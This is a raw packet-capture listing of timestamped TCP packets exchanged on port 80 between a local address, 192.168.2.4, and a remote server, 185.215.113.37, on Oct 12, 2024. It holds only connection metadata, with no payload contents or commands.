Oct 12, 2024 13:17:29.175832987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175864935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175879002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175920010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175930023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175962925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175970078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175993919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176000118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176028967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176035881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176064968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176093102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176099062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176110983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176132917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176167011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176176071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176199913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176208973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176240921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176244020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176275969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176281929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176311016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176315069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176345110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176352024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176382065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176383018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176418066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176425934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176454067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176455021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176486969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176495075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176522970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176526070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176558018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176563978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176593065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176599026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176625967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176632881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176661968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176667929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176697969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.176706076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176739931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.176983118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177016020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177048922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177057981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.177094936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.177102089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177184105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177220106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177232027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.177254915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.177263021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.177295923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236383915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236457109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236519098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236519098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236521006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236574888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236589909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236615896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236617088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236651897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236687899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236696959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236722946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236732960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236758947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236766100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236793041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236803055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236828089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236840010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236870050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236902952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236933947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236936092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236946106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.236975908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.236984968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237010002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237042904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237052917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237076998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237085104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237111092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237118959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237145901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237152100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237179995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237186909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237215042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237221003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237248898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237257957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237283945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237294912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237318993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237325907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237353086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237358093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237390041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.237395048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.237432003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.267815113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.267884016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.267884970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.267923117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.267935038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.267957926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.267992973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268002033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268027067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268039942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268063068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268073082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268098116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268100977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268134117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268165112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268167019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268186092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268203020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268213034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268238068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268245935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268275976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268287897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268315077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268362045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268609047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268639088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268675089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268681049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268692017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268743992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268744946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268779039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268789053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268812895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268846989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268857002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268881083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268887997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268923998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268934011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268969059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.268975019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.268999100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269011021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269041061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269049883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269084930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269089937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269118071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269128084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269154072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269159079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269186974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269213915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269221067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269241095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269253969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269260883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269290924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269294024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269325018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269345045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269360065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.269371033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.269402027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.308219910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.315340996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678508997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678554058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678591013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678610086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678626060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678632021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678647041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678662062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678673983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678698063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678705931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678734064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678741932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678766966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678778887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678798914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678812027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678838015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678842068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678873062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678884029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678911924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678915977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678946972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678957939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.678981066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.678992033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679019928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679020882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679054976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679066896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679089069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679100037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679126024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679137945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679161072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679167986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679192066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679205894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679225922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679234982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679259062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679270029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679303885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679322004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679367065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679371119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679413080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679435968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679470062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679478884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679502010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679514885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679537058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679544926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679570913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679580927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679605961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679615021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679636955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679651022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679672956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679682970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679713011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679727077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679759979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679778099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679794073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679805994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679830074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679838896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679866076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679877996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679899931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.679914951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.679990053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680006981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680022955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680036068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680072069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680078983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680126905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680130959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680164099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680177927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680198908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680210114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680232048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680242062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680265903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680279970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680300951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680309057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680335045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680349112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680372953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680383921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680406094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680417061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680439949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680450916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680485964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680491924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680526018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680541039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680560112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680573940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680593967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680604935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680625916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680638075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680675030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680680037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680713892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680723906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680749893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680761099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680790901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680803061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680826902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680845022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680875063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680880070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680913925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680927992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680948973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680959940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.680984020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.680995941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681018114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681031942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681051970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681061983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681086063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681098938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681121111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681133986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681154966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681169987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681190014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681201935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681222916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681236982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681262970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681269884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681296110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681310892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681329966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681339025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681363106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681377888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681396961 CEST	80	49730	185.215.113.37	192.168.2.4
